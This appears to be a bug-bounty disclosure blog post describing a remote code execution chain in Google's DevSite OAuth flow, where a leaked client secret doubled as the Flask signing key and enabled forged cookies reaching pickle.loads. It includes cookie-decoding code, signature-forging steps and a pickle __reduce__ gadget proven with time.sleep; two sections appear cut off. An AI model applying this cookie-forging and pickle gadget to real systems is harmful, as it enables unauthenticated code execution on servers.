Back Original

I Found a $90k Remote Code Execution Vulnerability in Google

How I found it

I was mapping the OAuth flow that Google’s developer docs sites all share. You hit /oauth2authorize, it sets a Flask session cookie and redirects you to Google’s sign-in page. No account needed:

curl -s -D headers.txt -o /dev/null \
  'https://developers.google.com/oauth2authorize?return_url=%2F'

The cookie is what caught my eye. Flask’s usual three-part session=<payload>.<timestamp>.<signature>, but about 1,200 bytes, way more than you need for a CSRF token and a return URL. So I decoded it.

Flask session cookies are signed, not encrypted, so the contents are right there for anyone holding one. The leading dot means the payload is zlib-compressed:

import base64
import json
import pickletools
import zlib

payload, timestamp, signature = cookie.rsplit(".", 2)

def b64decode(value):
    return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))

compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)

That gave me:

{
  "_permanent": true,
  "google_oauth2_csrf_token": "...",
  "google_oauth2_flow_<csrf>": {
    " b": "..."
  }
}

The " b" key is Flask tagging a bytes value. Base64-decoding it gave me a pickle, and pickletools.dis printed an oauth2client.client.OAuth2WebServerFlow object with its fields:

client_id     = "<redacted>.apps.googleusercontent.com"
client_secret = b"<redacted>"

The cookie contained a pickle-serialized payload, which was bad enough on its own. It also carried Google’s OAuth client_id and client_secret in plaintext. (The secret is redacted here; it was still live at the time of writing.)

I tried the client secret as the Flask SECRET_KEY, and the signature on the issued cookie validated against it. The signing key was stored inside the object it signs.

One secret, two jobs

A client secret leaking in a cookie is a finding on its own. The part that mattered was that the same value verified the signature, so I nailed that down properly instead of trusting a lucky guess.

Flask signs through itsdangerous with the cookie-session key derivation, so I recomputed the signature offline:

import hmac

derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
    derived_key,
    f"{payload}.{timestamp}".encode(),
    "sha1",
)

expected came out byte-for-byte identical to the signature on the cookie I’d been handed seconds earlier. To be sure it wasn’t a fluke I flipped one character of the signature (rejected) and re-signed the original payload with the recovered secret (accepted). Session integrity was gone. I could set every key and value in the session and still produce a signature the server would take.

The callback reads the flow back out of the session and unpickles it:

session cookie
  -> verify Flask signature
  -> read google_oauth2_flow_<csrf>
  -> base64-decode the bytes
  -> pickle.loads(...)

That pickle.loads is only “safe” as long as nobody else can forge a valid cookie. Once the key is public, that assumption is worthless. I built my own session with a made-up CSRF token and put whatever pickle I wanted under the matching flow key:

session = {
    "_permanent": True,
    "google_oauth2_csrf_token": "attacker-chosen",
    "google_oauth2_flow_attacker-chosen": {
        " b": base64.b64encode(attacker_blob).decode()
    },
}

The state parameter is mine too, so nothing needs to line up on the server’s end. It checks my signature, finds my flow entry, and passes the bytes to pickle.loads.

If you haven’t played with pickle before: the REDUCE opcode names a callable and its arguments, and unpickling just calls it. A public signing key plus this sink is unauthenticated RCE.

I wasn’t about to run commands on Google’s production, so I proved it with time. The payload reduced to time.sleep(N):

class Sleep:
    def __init__(self, seconds):
        self.seconds = seconds

    def __reduce__(self):
        return (time.sleep, (self.seconds,))

Same forged session every time, only the number changed:

time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s

The response time tracked the number in the pickle, which only happens if the server imported time and actually called sleep(N).

Then the controls, to rule out a slow endpoint or jitter:

How far it went

This isn’t a single app, it’s the shared DevSite platform, so the key from developers.google.com signed valid sessions on:

Fixing it

Four things had to change, and they stack:

  1. Rotate both exposed OAuth client secrets and kill every session signed with them.
  2. Give each deployment its own high-entropy Flask SECRET_KEY from a server-side store, with nothing to do with an OAuth credential.
  3. Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive.
  4. Drop pickle for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert.

Any one of those would have broken the chain. All four lined up, and that’s how two GET requests end up running code on Google’s servers.

Timeline

  1. Report submitted

  2. Triaged

  3. Accepted

  4. Reward decided: $90,000

    Normal Google Applications (T2), S0 RCE: $75,000 base × 1.2 for exceptional report quality.

  5. Fixed

Thanks to the Google Bug Hunters team and the DevSite engineers for investigating and fixing this issue.